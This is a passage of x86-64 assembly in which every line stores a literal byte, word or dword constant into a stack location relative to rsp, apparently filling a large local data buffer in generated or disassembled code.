mov dword [rsp + 0x833c], 0x393a
mov dword [rsp + 0x8340], 0x29308332
mov byte [rsp + 0x533], 0xc8
mov byte [rsp + 0x534], 0x66
mov dword [rsp + 0x8344], 0xa272
mov dword [rsp + 0x8348], 0x596c
mov eax, 0x5a7
mov word [rsp + 0x2380], ax
mov dword [rsp + 0x834c], 0x6416
mov dword [rsp + 0x8350], 0xb85db04
mov dword [rsp + 0x8354], 0x67397415
mov dword [rsp + 0x8358], 0xf465
mov dword [rsp + 0x835c], 0x8392
mov dword [rsp + 0x8360], 0xf4b9
mov eax, 0x7fc
mov word [rsp + 0x2384], ax
mov dword [rsp + 0x8364], 0x74b5c4f1
mov dword [rsp + 0x8368], 0x21a034b0
mov dword [rsp + 0x836c], 0xda1a
mov dword [rsp + 0x8370], 0xed07
mov dword [rsp + 0x8374], 0x6190
mov dword [rsp + 0x8378], 0x5aa923af
mov dword [rsp + 0x837c], 0x127d
mov eax, 0x2fa
mov word [rsp + 0x2388], ax
mov dword [rsp + 0x8380], 0x42234b0d
mov dword [rsp + 0x8384], 0x9df8857
mov dword [rsp + 0x8388], 0x3a48ed29
mov dword [rsp + 0x838c], 0x7a64bd66
mov dword [rsp + 0x8390], 0x3af33a6d
mov dword [rsp + 0x8394], 0x3b1f0a30
mov dword [rsp + 0x8398], 0x5d343d73
mov dword [rsp + 0x839c], 0x6cb4
mov dword [rsp + 0x83a0], 0x39c820e1
mov dword [rsp + 0x83a4], 0x2310eb15
mov dword [rsp + 0x83a8], 0x3cd8cf6b
mov dword [rsp + 0x83ac], 0x16f9e7e4
mov dword [rsp + 0x83b0], 0x3d00c9d1
mov dword [rsp + 0x83b4], 0x401d3f29
mov dword [rsp + 0x83b8], 0x2158
mov byte [rsp + 0x535], 0x59
mov eax, 0xe84
mov word [rsp + 0x238c], ax
mov dword [rsp + 0x83bc], 0x3eb6
mov dword [rsp + 0x83c0], 0x1bbe12ed
mov eax, 0x1f0
mov word [rsp + 0x2390], ax
mov byte [rsp + 0x536], 0x1b
mov dword [rsp + 0x83c4], 0xee75d4c
mov byte [rsp + 0x537], 0x3f
mov byte [rsp + 0x538], 0xab
mov dword [rsp + 0x83c8], 0x17143c04
mov dword [rsp + 0x83cc], 0x2c781354
mov eax, 0xe3f
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x83d0], 0x6d590bae
mov dword [rsp + 0x83d4], 0x4cc7ca27
mov eax, 0xc8a
mov word [rsp + 0x2398], ax
mov dword [rsp + 0x83d8], 0x7b27ebcc
mov dword [rsp + 0x83dc], 0x4e00cf5b
mov dword [rsp + 0x83e0], 0x34acc9c0
mov dword [rsp + 0x83e4], 0x402bd884
mov dword [rsp + 0x83e8], 0x74d6ed54
mov byte [rsp + 0x539], 0xdd
mov dword [rsp + 0x83ec], 0x167a41e
mov byte [rsp + 0x53a], 0x70
mov dword [rsp + 0x83f0], 0xb37b
mov dword [rsp + 0x83f4], 0x996a
mov dword [rsp + 0x83f8], 0x53a64709
mov dword [rsp + 0x83fc], 0x7ff1
mov byte [rsp + 0x53b], 0x55
mov dword [rsp + 0x8400], 0x9aed
mov dword [rsp + 0x8404], 0x97a
mov dword [rsp + 0x8408], 0x63536972
mov dword [rsp + 0x840c], 0x1aeb4341
mov dword [rsp + 0x8410], 0x6ea8db64
mov eax, 0x876
mov word [rsp + 0x239c], ax
mov dword [rsp + 0x8414], 0xfce0
mov dword [rsp + 0x8418], 0x454eb6a5
mov dword [rsp + 0x841c], 0x1258a1d5
mov dword [rsp + 0x8420], 0x7d30
mov dword [rsp + 0x8424], 0x2e1fb56e
mov byte [rsp + 0x53c], 0x69
mov eax, 0xcda
mov word [rsp + 0x23a0], ax
mov eax, 0x2a
mov word [rsp + 0x23a4], ax
mov dword [rsp + 0x8428], 0x31f45813
mov dword [rsp + 0x842c], 0x3e325945
mov byte [rsp + 0x53d], 0x21
mov byte [rsp + 0x53e], 9
mov dword [rsp + 0x8430], 0x8a7a
mov byte [rsp + 0x53f], 0xb4
mov eax, 0x4b1
mov word [rsp + 0x23a8], ax
mov dword [rsp + 0x8434], 0x5b88
mov dword [rsp + 0x8438], 0xe12d
mov dword [rsp + 0x843c], 0x41001118
mov dword [rsp + 0x8440], 0x43fa
mov dword [rsp + 0x8444], 0x8011
mov eax, 0xea3
mov word [rsp + 0x23ac], ax
mov dword [rsp + 0x8448], 0x7127cab6
mov dword [rsp + 0x844c], 0x41d5832d
mov eax, 0xcaa
mov word [rsp + 0x23b0], ax
mov dword [rsp + 0x8450], 0x53e831c4
mov byte [rsp + 0x540], 0x19
mov eax, 0x375
mov word [rsp + 0x23b4], ax
mov eax, 0x88f
mov word [rsp + 0x23b8], ax
mov dword [rsp + 0x8454], 0xadbe9c4
mov eax, 0x3ce
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x8458], 0xf059
mov dword [rsp + 0x845c], 0x4bf8f1b3
mov eax, 0x27c
mov word [rsp + 0x23c0], ax
mov dword [rsp + 0x8460], 0x75f1
mov dword [rsp + 0x8464], 0x738101bb
mov byte [rsp + 0x541], 0x58
mov eax, 0x9c2
mov word [rsp + 0x23c4], ax
mov eax, 0x5b3
mov word [rsp + 0x23c8], ax
mov dword [rsp + 0x8468], 0x4223
mov dword [rsp + 0x846c], 0xdb2a
mov eax, 0x2ca
mov word [rsp + 0x23cc], ax
mov byte [rsp + 0x542], 0x36
mov byte [rsp + 0x543], 0x99
mov eax, 0xfb
mov word [rsp + 0x23d0], ax
mov byte [rsp + 0x544], 0x58
mov dword [rsp + 0x8470], 0xc6ef
mov byte [rsp + 0x545], 0xd8
mov dword [rsp + 0x8474], 0x2dbb7a1
mov dword [rsp + 0x8478], 0x2b1d
mov byte [rsp + 0x546], 0xe3
mov byte [rsp + 0x547], 0xac
mov eax, 0x317
mov word [rsp + 0x23d4], ax
mov dword [rsp + 0x847c], 0x7f54e211
mov eax, 0x3f0
mov word [rsp + 0x23d8], ax
mov dword [rsp + 0x8480], 0x210dd187
mov dword [rsp + 0x8484], 0x5662fcc5
mov byte [rsp + 0x548], 0x26
mov dword [rsp + 0x8488], 0x3574
mov dword [rsp + 0x848c], 0x3318b6f8
mov eax, 0xdf6
mov word [rsp + 0x23dc], ax
mov dword [rsp + 0x8490], 0x37083fbc
mov dword [rsp + 0x8494], 0x2d81659d
mov dword [rsp + 0x8498], 0x6fbd5822
mov byte [rsp + 0x549], 0xc5
mov dword [rsp + 0x849c], 0x6e86ec53
mov dword [rsp + 0x84a0], 0xd2ce
mov byte [rsp + 0x54a], 0xda
mov dword [rsp + 0x84a4], 0x12a25226
mov byte [rsp + 0x54b], 0x3c
mov dword [rsp + 0x84a8], 0xaa50
mov byte [rsp + 0x54c], 0xcd
mov dword [rsp + 0x84ac], 0x5c88787f
mov eax, 0x325
mov word [rsp + 0x23e0], ax
mov dword [rsp + 0x84b0], 0xd77
mov eax, 0x170
mov word [rsp + 0x23e4], ax
mov dword [rsp + 0x84b4], 0x34aecc51
mov eax, 0xa65
mov word [rsp + 0x23e8], ax
mov dword [rsp + 0x84b8], 0x445ab1b8
mov byte [rsp + 0x54d], 0x64
mov dword [rsp + 0x84bc], 0x28c9
mov eax, 0xf59
mov word [rsp + 0x23ec], ax
mov byte [rsp + 0x54e], 0x40
mov dword [rsp + 0x84c0], 0x755018bc
mov byte [rsp + 0x54f], 4
mov eax, 0x54
mov word [rsp + 0x23f0], ax
mov eax, 0x2b3
mov word [rsp + 0x23f4], ax
mov dword [rsp + 0x84c4], 0x42f6878e
mov dword [rsp + 0x84c8], 0x6dc7b204
mov byte [rsp + 0x550], 0x3b
mov eax, 0x43d
mov word [rsp + 0x23f8], ax
mov dword [rsp + 0x84cc], 0x2448
mov dword [rsp + 0x84d0], 0x349e7968
mov dword [rsp + 0x84d4], 0x258a
mov byte [rsp + 0x551], 0x62
mov byte [rsp + 0x552], 0xd3
mov dword [rsp + 0x84d8], 0x7ac14dc4
mov dword [rsp + 0x84dc], 0x5f6f73
mov dword [rsp + 0x84e0], 0x12c8
mov byte [rsp + 0x553], 8
mov dword [rsp + 0x84e4], 0x1f85
mov dword [rsp + 0x84e8], 0x2150fc08
mov dword [rsp + 0x84ec], 0x1af151f
mov dword [rsp + 0x84f0], 0xe92b
mov eax, 0xbee
mov word [rsp + 0x23fc], ax
mov eax, 0x6a6
mov word [rsp + 0x2400], ax
mov dword [rsp + 0x84f4], 0xec4c
mov byte [rsp + 0x554], 0x7e
mov dword [rsp + 0x84f8], 0x12afd0c2
mov dword [rsp + 0x84fc], 0x64b988a4
mov dword [rsp + 0x8500], 0x75da6e3e
mov eax, 0x65f
mov word [rsp + 0x2404], ax
mov eax, 0x961
mov word [rsp + 0x2408], ax
mov eax, 0xd32
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x8504], 0x2f74a19f
mov dword [rsp + 0x8508], 0xd123
mov eax, 0x32e
mov word [rsp + 0x2410], ax
mov eax, 0x9b2
mov word [rsp + 0x2414], ax
mov dword [rsp + 0x850c], 0x45fe
mov dword [rsp + 0x8510], 0x637f1ba7
mov dword [rsp + 0x8514], 0x6bdabde
mov dword [rsp + 0x8518], 0x20dd7ec1
mov dword [rsp + 0x851c], 0xd81c
mov eax, 0x1d1
mov word [rsp + 0x2418], ax
mov dword [rsp + 0x8520], 0x5e485b74
mov dword [rsp + 0x8524], 0x6ebaf26f
mov dword [rsp + 0x8528], 0x4d17
mov dword [rsp + 0x852c], 0x920de61
mov dword [rsp + 0x8530], 0x384df01a
mov dword [rsp + 0x8534], 0x3054
mov byte [rsp + 0x555], 0xfe
mov byte [rsp + 0x556], 0xf6
mov byte [rsp + 0x557], 0xba
mov eax, 0xea4
mov word [rsp + 0x241c], ax
mov eax, 0x770
mov word [rsp + 0x2420], ax
mov dword [rsp + 0x8538], 0xdabf
mov byte [rsp + 0x558], 0x89
mov eax, 0x14c
mov word [rsp + 0x2424], ax
mov byte [rsp + 0x559], 0xc
mov dword [rsp + 0x853c], 0x407
mov byte [rsp + 0x55a], 1
mov dword [rsp + 0x8540], 0x213a9bdd
mov dword [rsp + 0x8544], 0x33222cd0
mov eax, 0x5a4
mov word [rsp + 0x2428], ax
mov dword [rsp + 0x8548], 0x31088139
mov dword [rsp + 0x854c], 0x1d2c7ed7
mov eax, 0x563
mov word [rsp + 0x242c], ax
mov eax, 0x2a6
mov word [rsp + 0x2430], ax
mov dword [rsp + 0x8550], 0x5896c9fb
mov byte [rsp + 0x55b], 0x17
mov dword [rsp + 0x8554], 0x366c
mov dword [rsp + 0x8558], 0x78c1e3cd
mov dword [rsp + 0x855c], 0x7b622b5c
mov dword [rsp + 0x8560], 0x638ed0fb
mov dword [rsp + 0x8564], 0x5a8ac8a5
mov dword [rsp + 0x8568], 0x33f4a4af
mov eax, 0x899
mov word [rsp + 0x2434], ax
mov dword [rsp + 0x856c], 0x51adb9cd
mov eax, 0x144
mov word [rsp + 0x2438], ax
mov eax, 0x3a7
mov word [rsp + 0x243c], ax
mov byte [rsp + 0x55c], 0xa6
mov dword [rsp + 0x8570], 0x6d35a35a
mov dword [rsp + 0x8574], 0x2363418d
mov dword [rsp + 0x8578], 0x425536ac
mov eax, 0x79a
mov word [rsp + 0x2440], ax
mov dword [rsp + 0x857c], 0x44ad4e31
mov dword [rsp + 0x8580], 0x78fb
mov dword [rsp + 0x8584], 0x7fb5d7e
mov eax, 0x519
mov word [rsp + 0x2444], ax
mov dword [rsp + 0x8588], 0x4585
mov dword [rsp + 0x858c], 0x25e3
mov dword [rsp + 0x8590], 0x11ae12ee
mov dword [rsp + 0x8594], 0x64787c3a
mov byte [rsp + 0x55d], 0x18
mov dword [rsp + 0x8598], 0x5cd2931c
mov dword [rsp + 0x859c], 0x305b3bb0
mov eax, 0xa82
mov word [rsp + 0x2448], ax
mov dword [rsp + 0x85a0], 0x39fd460a
mov eax, 0x1b9
mov word [rsp + 0x244c], ax
mov dword [rsp + 0x85a4], 0x177688ba
mov dword [rsp + 0x85a8], 0x25bec93
mov eax, 0x79
mov word [rsp + 0x2450], ax
mov dword [rsp + 0x85ac], 0x54cadef5
mov dword [rsp + 0x85b0], 0x2319
mov eax, 0x424
mov word [rsp + 0x2454], ax
mov dword [rsp + 0x85b4], 0x3647b07d
mov byte [rsp + 0x55e], 0x61
mov eax, 0xf56
mov word [rsp + 0x2458], ax
mov dword [rsp + 0x85b8], 0x5362035
mov byte [rsp + 0x55f], 0x8d
mov eax, 0xba5
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x85bc], 0x20c22a24
mov byte [rsp + 0x560], 3
mov dword [rsp + 0x85c0], 0x7b5b
mov dword [rsp + 0x85c4], 0x7aa8e50a
mov dword [rsp + 0x85c8], 0x106b54d7
mov dword [rsp + 0x85cc], 0x16fa596c
mov dword [rsp + 0x85d0], 0x5a8af589
mov dword [rsp + 0x85d4], 0x3b11
mov dword [rsp + 0x85d8], 0xd3b
mov dword [rsp + 0x85dc], 0x57a
mov byte [rsp + 0x561], 0x70
mov byte [rsp + 0x562], 0x6f
mov byte [rsp + 0x563], 0x67
mov dword [rsp + 0x85e0], 0xd58b
mov byte [rsp + 0x564], 0x6e
mov dword [rsp + 0x85e4], 0x5ad9e719
mov dword [rsp + 0x85e8], 0x6cb11302
mov dword [rsp + 0x85ec], 0x28cf43a3
mov dword [rsp + 0x85f0], 0x4fa8fefd
mov dword [rsp + 0x85f4], 0x4dbdae5e
mov eax, 0x758
mov word [rsp + 0x2460], ax
mov dword [rsp + 0x85f8], 0x2345f10b
mov eax, 0x5c0
mov word [rsp + 0x2464], ax
mov dword [rsp + 0x85fc], 0x1188f3b6
mov dword [rsp + 0x8600], 0xb890
mov dword [rsp + 0x8604], 0x65896b6c
mov dword [rsp + 0x8608], 0x9dc6
mov dword [rsp + 0x860c], 0x7b594220
mov eax, 0x64e
mov word [rsp + 0x2468], ax
mov eax, 0xc82
mov word [rsp + 0x246c], ax
mov dword [rsp + 0x8610], 0xa2e1
mov byte [rsp + 0x565], 0xd9
mov byte [rsp + 0x566], 0x2b
mov dword [rsp + 0x8614], 0x2e159648
mov dword [rsp + 0x8618], 0xb50a
mov dword [rsp + 0x861c], 0x2fa0149f
mov dword [rsp + 0x8620], 0x16b973f8
mov dword [rsp + 0x8624], 0x25a8014f
mov dword [rsp + 0x8628], 0x6784c98e
mov byte [rsp + 0x567], 0x2f
mov dword [rsp + 0x862c], 0x33040cbe
mov dword [rsp + 0x8630], 0x24847a53
mov byte [rsp + 0x568], 0x7a
mov eax, 0x48
mov word [rsp + 0x2470], ax
mov dword [rsp + 0x8634], 0x17d412c5
mov dword [rsp + 0x8638], 0x874f249
mov dword [rsp + 0x863c], 0x1c21
mov dword [rsp + 0x8640], 0x3565a1b3
mov dword [rsp + 0x8644], 0x4bb93006
mov eax, 0xbd4
mov word [rsp + 0x2474], ax
mov dword [rsp + 0x8648], 0x5f081ba8
mov dword [rsp + 0x864c], 0x1be938d8
mov byte [rsp + 0x569], 0x2c
mov eax, 0x71c
mov word [rsp + 0x2478], ax
mov dword [rsp + 0x8650], 0x62ac9c53
mov dword [rsp + 0x8654], 0x7bce
mov dword [rsp + 0x8658], 0xc83bfb4
mov eax, 0x1e1
mov word [rsp + 0x247c], ax
mov eax, 0xfc2
mov word [rsp + 0x2480], ax
mov eax, 0xa1f
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x865c], 0x21cfb008
mov dword [rsp + 0x8660], 0x79dbd63e
mov eax, 0xb63
mov word [rsp + 0x2488], ax
mov byte [rsp + 0x56a], 0xf4
mov eax, 0xebd
mov word [rsp + 0x248c], ax
mov dword [rsp + 0x8664], 0x46ff9d21
mov byte [rsp + 0x56b], 0x20
mov dword [rsp + 0x8668], 0xf2d2
mov dword [rsp + 0x866c], 0xb708
mov dword [rsp + 0x8670], 0x4a2db478
mov dword [rsp + 0x8674], 0x8192
mov dword [rsp + 0x8678], 0x57d8b2ac
mov dword [rsp + 0x867c], 0x1a07586f
mov eax, 0xfb7
mov word [rsp + 0x2490], ax
mov byte [rsp + 0x56c], 0x5a
mov eax, 0xc6
mov word [rsp + 0x2494], ax
mov eax, 0x2fe
mov word [rsp + 0x2498], ax
mov byte [rsp + 0x56d], 0x33
mov byte [rsp + 0x56e], 0xc6
mov dword [rsp + 0x8680], 0x5ea8
mov byte [rsp + 0x56f], 0xfb
mov eax, 0xdb6
mov word [rsp + 0x249c], ax
mov eax, 0x64f
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x8684], 0x12eac91f
mov eax, 0xc10
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x8688], 0x7ac4
mov dword [rsp + 0x868c], 0x4512e760
mov dword [rsp + 0x8690], 0x3bbffe32
mov dword [rsp + 0x8694], 0xb351
mov dword [rsp + 0x8698], 0xb780
mov dword [rsp + 0x869c], 0x3593604
mov eax, 0x1e6
mov word [rsp + 0x24a8], ax
mov byte [rsp + 0x570], 0x8b
mov byte [rsp + 0x571], 0xd7
mov dword [rsp + 0x86a0], 0x7f4a1f41
mov dword [rsp + 0x86a4], 0x1f31f7cc
mov eax, 0xc9e
mov word [rsp + 0x24ac], ax
mov dword [rsp + 0x86a8], 0x42b31df2
mov eax, 0x695
mov word [rsp + 0x24b0], ax
mov dword [rsp + 0x86ac], 0x8b04654
mov dword [rsp + 0x86b0], 0x3b4b526d
mov dword [rsp + 0x86b4], 0xce5f
mov byte [rsp + 0x572], 0x14
mov dword [rsp + 0x86b8], 0x4df992be
mov eax, 0xb03
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x86bc], 0x249aa924
mov byte [rsp + 0x573], 0x2d
mov eax, 0x43a
mov word [rsp + 0x24b8], ax
mov eax, 0x536
mov word [rsp + 0x24bc], ax
mov dword [rsp + 0x86c0], 0x99d4
mov dword [rsp + 0x86c4], 0x5eda5ca2
mov dword [rsp + 0x86c8], 0x69cd8a2d
mov dword [rsp + 0x86cc], 0x3c05
mov byte [rsp + 0x574], 0xce
mov dword [rsp + 0x86d0], 0x4474c05
mov dword [rsp + 0x86d4], 0xb5b7
mov byte [rsp + 0x575], 0xa0
mov eax, 0x315
mov word [rsp + 0x24c0], ax
mov eax, 0x8a2
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x86d8], 0x2ee5d7d4
mov eax, 0x2ce
mov word [rsp + 0x24c8], ax
mov byte [rsp + 0x576], 0x10
mov byte [rsp + 0x577], 0xb1
mov dword [rsp + 0x86dc], 0xb8e043d
mov dword [rsp + 0x86e0], 0x48bb6ead
mov dword [rsp + 0x86e4], 0xf20b
mov dword [rsp + 0x86e8], 0x336b25a6
mov dword [rsp + 0x86ec], 0x446522e3
mov eax, 0x77d
mov word [rsp + 0x24cc], ax
mov dword [rsp + 0x86f0], 0x1a68
mov dword [rsp + 0x86f4], 0x70abbdd
mov dword [rsp + 0x86f8], 0x50c3
mov dword [rsp + 0x86fc], 0xa66a
mov byte [rsp + 0x578], 0xc9
mov dword [rsp + 0x8700], 0xbe1f
mov byte [rsp + 0x579], 0x79
mov eax, 0xc00
mov word [rsp + 0x24d0], ax
mov dword [rsp + 0x8704], 0x46fea367
mov dword [rsp + 0x8708], 0xfd9f50d
mov dword [rsp + 0x870c], 0x1b84a560
mov byte [rsp + 0x57a], 0xee
mov dword [rsp + 0x8710], 0x52b5
mov dword [rsp + 0x8714], 0x4fa3a5c0
mov dword [rsp + 0x8718], 0x95773bb
mov eax, 0x80c
mov word [rsp + 0x24d4], ax
mov eax, 0x781
mov word [rsp + 0x24d8], ax
mov dword [rsp + 0x871c], 0x78d800db
mov byte [rsp + 0x57b], 0x5a
mov dword [rsp + 0x8720], 0x32688178
mov eax, 0x2fd
mov word [rsp + 0x24dc], ax
mov dword [rsp + 0x8724], 0x8ea9
mov dword [rsp + 0x8728], 0x6aa3fac8
mov dword [rsp + 0x872c], 0x6365153e
mov dword [rsp + 0x8730], 0x939f989
mov byte [rsp + 0x57c], 0xf5
mov dword [rsp + 0x8734], 0x592a5b9d
mov eax, 0xf85
mov word [rsp + 0x24e0], ax
mov byte [rsp + 0x57d], 0xa5
mov byte [rsp + 0x57e], 0x62
mov dword [rsp + 0x8738], 0x297f
mov byte [rsp + 0x57f], 0x79
mov dword [rsp + 0x873c], 0x5d1d7b6
mov dword [rsp + 0x8740], 0x29675d4f
mov dword [rsp + 0x8744], 0x3d88
mov dword [rsp + 0x8748], 0xcc80
mov dword [rsp + 0x874c], 0xc01d
mov dword [rsp + 0x8750], 0x413dcf60
mov dword [rsp + 0x8754], 0x49b8c65b
mov dword [rsp + 0x8758], 0x1b361202
mov dword [rsp + 0x875c], 0x3518
mov dword [rsp + 0x8760], 0xe3b9
mov dword [rsp + 0x8764], 0x714d20a6
mov dword [rsp + 0x8768], 0x3b5fe37e
mov dword [rsp + 0x876c], 0x111f61ec
mov dword [rsp + 0x8770], 0xda20
mov eax, 0x8a7
mov word [rsp + 0x24e4], ax
mov dword [rsp + 0x8774], 0x1665537d
mov dword [rsp + 0x8778], 0x464e3aa1
mov dword [rsp + 0x877c], 0x28d79cd4
mov byte [rsp + 0x580], 0x4f
mov byte [rsp + 0x581], 0x96
mov byte [rsp + 0x582], 0xbc
mov dword [rsp + 0x8780], 0xbb30
mov dword [rsp + 0x8784], 0xdcc6
mov byte [rsp + 0x583], 0xaa
mov byte [rsp + 0x584], 0x5a
mov byte [rsp + 0x585], 0xd7
mov dword [rsp + 0x8788], 0x22d2
mov eax, 0x2cf
mov word [rsp + 0x24e8], ax
mov eax, 0x143
mov word [rsp + 0x24ec], ax
mov eax, 0x313
mov word [rsp + 0x24f0], ax
mov dword [rsp + 0x878c], 0x5d509bdc
mov dword [rsp + 0x8790], 0x687b
mov eax, 0x621
mov word [rsp + 0x24f4], ax
mov dword [rsp + 0x8794], 0x33f758ac
mov dword [rsp + 0x8798], 0x7ead
mov byte [rsp + 0x586], 0x5a
mov dword [rsp + 0x879c], 0x4892f263
mov byte [rsp + 0x587], 0x90
mov dword [rsp + 0x87a0], 0xa47f
mov dword [rsp + 0x87a4], 0x608b52d3
mov byte [rsp + 0x588], 0x34
mov dword [rsp + 0x87a8], 0x268be24a
mov dword [rsp + 0x87ac], 0x1b075097
mov dword [rsp + 0x87b0], 0x60ca51b8
mov dword [rsp + 0x87b4], 0x9973915
mov dword [rsp + 0x87b8], 0x295c
mov dword [rsp + 0x87bc], 0x571a
mov dword [rsp + 0x87c0], 0x745a00c5
mov dword [rsp + 0x87c4], 0x863f
mov byte [rsp + 0x589], 0xca
mov dword [rsp + 0x87c8], 0x4baef664
mov byte [rsp + 0x58a], 0x7f
mov byte [rsp + 0x58b], 0x7c
mov dword [rsp + 0x87cc], 0x26e404f3
mov dword [rsp + 0x87d0], 0xc824
mov dword [rsp + 0x87d4], 0x39e71848
mov dword [rsp + 0x87d8], 0xae74
mov byte [rsp + 0x58c], 0x68
mov eax, 0x5e3
mov word [rsp + 0x24f8], ax
mov dword [rsp + 0x87dc], 0x22b
mov eax, 0xa04
mov word [rsp + 0x24fc], ax
mov dword [rsp + 0x87e0], 0x3f78
mov byte [rsp + 0x58d], 0x86
mov byte [rsp + 0x58e], 0xc4
mov byte [rsp + 0x58f], 0x7c
mov eax, 0xa2b
mov word [rsp + 0x2500], ax
mov dword [rsp + 0x87e4], 0xb2c7beb
mov byte [rsp + 0x590], 0xa0
mov eax, 0x384
mov word [rsp + 0x2504], ax
mov byte [rsp + 0x591], 0x5d
mov dword [rsp + 0x87e8], 0x998d
mov dword [rsp + 0x87ec], 0x6eaeed2f
mov dword [rsp + 0x87f0], 0x2074
mov dword [rsp + 0x87f4], 0x7c8fa6c
mov eax, 0x114
mov word [rsp + 0x2508], ax
mov eax, 0xc6b
mov word [rsp + 0x250c], ax
mov dword [rsp + 0x87f8], 0xa3bf
mov dword [rsp + 0x87fc], 0x7765
mov dword [rsp + 0x8800], 0x5dde38fd
mov dword [rsp + 0x8804], 0x5c5d5bbb
mov eax, 0x7c3
mov word [rsp + 0x2510], ax
mov byte [rsp + 0x592], 9
mov eax, 0x6e4
mov word [rsp + 0x2514], ax
mov byte [rsp + 0x593], 0x4d
mov eax, 0x32e
mov word [rsp + 0x2518], ax
mov dword [rsp + 0x8808], 0xc1ae
mov eax, 0x7c6
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x880c], 0x668a
mov dword [rsp + 0x8810], 0x1c1a37ef
mov dword [rsp + 0x8814], 0x607e
mov dword [rsp + 0x8818], 0x6d21623
mov dword [rsp + 0x881c], 0x3604
mov dword [rsp + 0x8820], 0x5c26c596
mov dword [rsp + 0x8824], 0x70e043a3
mov dword [rsp + 0x8828], 0x1673
mov eax, 0x401
mov word [rsp + 0x2520], ax
mov eax, 0xf40
mov word [rsp + 0x2524], ax
mov dword [rsp + 0x882c], 0x5efbbb72
mov byte [rsp + 0x594], 0x34
mov dword [rsp + 0x8830], 0x1a8ec944
mov eax, 0x6d4
mov word [rsp + 0x2528], ax
mov byte [rsp + 0x595], 0xdb
mov eax, 0xeaa
mov word [rsp + 0x252c], ax
mov dword [rsp + 0x8834], 0x68636765
mov dword [rsp + 0x8838], 0x423d750b
mov dword [rsp + 0x883c], 0x63920e
mov byte [rsp + 0x596], 0x22
mov byte [rsp + 0x597], 0x7e
mov byte [rsp + 0x598], 0xa5
mov byte [rsp + 0x599], 0x23
mov eax, 0x426
mov word [rsp + 0x2530], ax
mov dword [rsp + 0x8840], 0x4b10832
mov dword [rsp + 0x8844], 0x168b
mov dword [rsp + 0x8848], 0xee9d
mov eax, 0x8e6
mov word [rsp + 0x2534], ax
mov eax, 0x132
mov word [rsp + 0x2538], ax
mov byte [rsp + 0x59a], 0xc4
mov byte [rsp + 0x59b], 0x55
mov byte [rsp + 0x59c], 0x3d
mov dword [rsp + 0x884c], 0x3c0fd4e1
mov dword [rsp + 0x8850], 0x7f0
mov dword [rsp + 0x8854], 0x24a4
mov eax, 0xd76
mov word [rsp + 0x253c], ax
mov eax, 0x127
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x8858], 0x7f650451
mov dword [rsp + 0x885c], 0x7b6630e8
mov dword [rsp + 0x8860], 0x5a227a28
mov dword [rsp + 0x8864], 0x1e2d045e
mov dword [rsp + 0x8868], 0x747ea597
mov dword [rsp + 0x886c], 0x12d5
mov dword [rsp + 0x8870], 0x44dd4044
mov dword [rsp + 0x8874], 0x7f206ca6
mov dword [rsp + 0x8878], 0x542a377d
mov byte [rsp + 0x59d], 0x41
mov eax, 0xa6c
mov word [rsp + 0x2544], ax
mov dword [rsp + 0x887c], 0xd877
mov dword [rsp + 0x8880], 0x23455e48
mov eax, 0xa93
mov word [rsp + 0x2548], ax
mov dword [rsp + 0x8884], 0xbd7eae
mov byte [rsp + 0x59e], 0xe
mov dword [rsp + 0x8888], 0xc1b
mov dword [rsp + 0x888c], 0x6b08
mov dword [rsp + 0x8890], 0x1a4b64da
mov dword [rsp + 0x8894], 0x310d9733
mov dword [rsp + 0x8898], 0x24d602bd
mov dword [rsp + 0x889c], 0x672f
mov dword [rsp + 0x88a0], 0xa402
mov byte [rsp + 0x59f], 0x15
mov dword [rsp + 0x88a4], 0x4699c1b2
mov byte [rsp + 0x5a0], 0x89
mov byte [rsp + 0x5a1], 0x50
mov dword [rsp + 0x88a8], 0x5bb275
mov dword [rsp + 0x88ac], 0x6d4007e8
mov eax, 0x671
mov word [rsp + 0x254c], ax
mov byte [rsp + 0x5a2], 0x54
mov dword [rsp + 0x88b0], 0x4837
mov eax, 0xe96
mov word [rsp + 0x2550], ax
mov dword [rsp + 0x88b4], 0x54e43fcc
mov eax, 0xeeb
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x88b8], 0x421e0d9a
mov eax, 0x12c
mov word [rsp + 0x2558], ax
mov dword [rsp + 0x88bc], 0x51225e86
mov dword [rsp + 0x88c0], 0x8c35
mov eax, 0xedd
mov word [rsp + 0x255c], ax
mov dword [rsp + 0x88c4], 0x6bd95e77
mov dword [rsp + 0x88c8], 0x37a492f7
mov dword [rsp + 0x88cc], 0xc668
mov eax, 0x7a0
mov word [rsp + 0x2560], ax
mov dword [rsp + 0x88d0], 0x20d7
mov eax, 0x422
mov word [rsp + 0x2564], ax
mov dword [rsp + 0x88d4], 0x9be5659
mov eax, 0x5c0
mov word [rsp + 0x2568], ax
mov dword [rsp + 0x88d8], 0x6162e3a
mov dword [rsp + 0x88dc], 0xe602
mov byte [rsp + 0x5a3], 0xce
mov byte [rsp + 0x5a4], 0x79
mov dword [rsp + 0x88e0], 0xdf50
mov eax, 0x31b
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x88e4], 0x5bb6be71
mov dword [rsp + 0x88e8], 0x5bfac215
mov byte [rsp + 0x5a5], 0xe5
mov dword [rsp + 0x88ec], 0x16c1
mov dword [rsp + 0x88f0], 0x4c0bddea
mov dword [rsp + 0x88f4], 0x66196775
mov dword [rsp + 0x88f8], 0x7fd014a9
mov dword [rsp + 0x88fc], 0x1b0a
mov dword [rsp + 0x8900], 0x4164edaa
mov dword [rsp + 0x8904], 0x16b70b12
mov dword [rsp + 0x8908], 0x28b
mov dword [rsp + 0x890c], 0x7382e9e9
mov dword [rsp + 0x8910], 0x6276
mov dword [rsp + 0x8914], 0x5e6e
mov byte [rsp + 0x5a6], 0x18
mov dword [rsp + 0x8918], 0x10c53486
mov dword [rsp + 0x891c], 0x23fac998
mov dword [rsp + 0x8920], 0xda5c
mov dword [rsp + 0x8924], 0x799f6163
mov dword [rsp + 0x8928], 0xd121
mov dword [rsp + 0x892c], 0x6657
mov eax, 0x656
mov word [rsp + 0x2570], ax
mov eax, 0xf79
mov word [rsp + 0x2574], ax
mov dword [rsp + 0x8930], 0x52511074
mov dword [rsp + 0x8934], 0x570
